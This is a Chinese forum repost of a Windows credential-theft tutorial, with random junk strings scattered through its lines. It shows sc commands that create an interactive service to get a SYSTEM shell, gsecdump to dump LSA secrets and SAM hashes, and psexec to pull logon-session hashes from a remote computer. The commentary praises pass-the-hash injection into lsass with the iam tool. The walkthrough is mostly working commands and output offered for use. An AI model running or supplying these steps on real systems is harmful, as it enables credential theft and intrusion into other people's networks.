HASH注入式攻击

admin

o get a DOS Prompt as NT system:
) V" v; L" Z: d- b" c. k5 i
C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
[SC] CreateService SUCCESS
4 ~" |% R) |/ i6 V% p+ Z
C:\>sc start shellcmdline
[SC] StartService FAILED 1053:
% a# e& D% `% ]  D' |2 D. @# R9 {2 ~
The service did not respond to the start or control request in a timely fashion.

C:\>sc delete shellcmdline
. r6 ?& z. _! d  ?/ ~- E6 i[SC] DeleteService SUCCESS

# Z; Z- e: U; `; f------------

4 a4 l) c; U- B! v5 g2 Y0 w4 xThen in the new DOS window:

Microsoft Windows XP [Version 5.1.2600]
* O$ k/ D7 D6 |6 \(C) Copyright 1985-2001 Microsoft Corp.
* U2 i* ?# d4 N6 I
0 b3 J* \. C4 S8 W# pC:\WINDOWS\system32>whoami
$ c% T* ~  w, W6 L2 U; ENT AUTHORITY\SYSTEM
7 j. q6 b8 y+ `( b8 E8 U
C:\WINDOWS\system32>gsecdump -h
0 F1 ^9 T/ {, _) x* m3 j; Ugsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
5 h9 q. h3 Z% c6 T- Z* nusage: gsecdump [options]
0 D( ]: @* Q7 L% r1 ?/ O0 t8 {
options:
- t7 y9 J" e. w' C2 \-h [ --help ] show help
-a [ --dump_all ] dump all secrets
-l [ --dump_lsa ] dump lsa secrets
-w [ --dump_wireless ] dump microsoft wireless connections
-u [ --dump_usedhashes ] dump hashes from active logon sessions
-s [ --dump_hashes ] dump hashes from SAM/AD

& |& Q3 {; m9 H5 i9 \/ n% y6 NAlthough I like to use:

% p( L% `' Z+ k! y4 w0 QPsExec v1.83 - Execute processes remotely
Copyright (C) 2001-2007 Mark Russinovich
Sysinternals - 链接标记[url]www.sysinternals.com[/url]
8 o2 `% @2 h* G& |: N7 j
7 O& i( z. _1 G0 I- s) pC:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT

to get the hashes from active logon sessions of a remote system.
* j3 j, k# ~$ S
' c, n) o$ x3 E. f9 iThese are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
- e9 [4 c# j7 h* |
4 @, j: _7 c* E* D' w7 {  @提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
/ k6 \! {' D& u6 n. _* c9 ]
& o8 N3 t. s/ k. A% c: Z% g! \我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。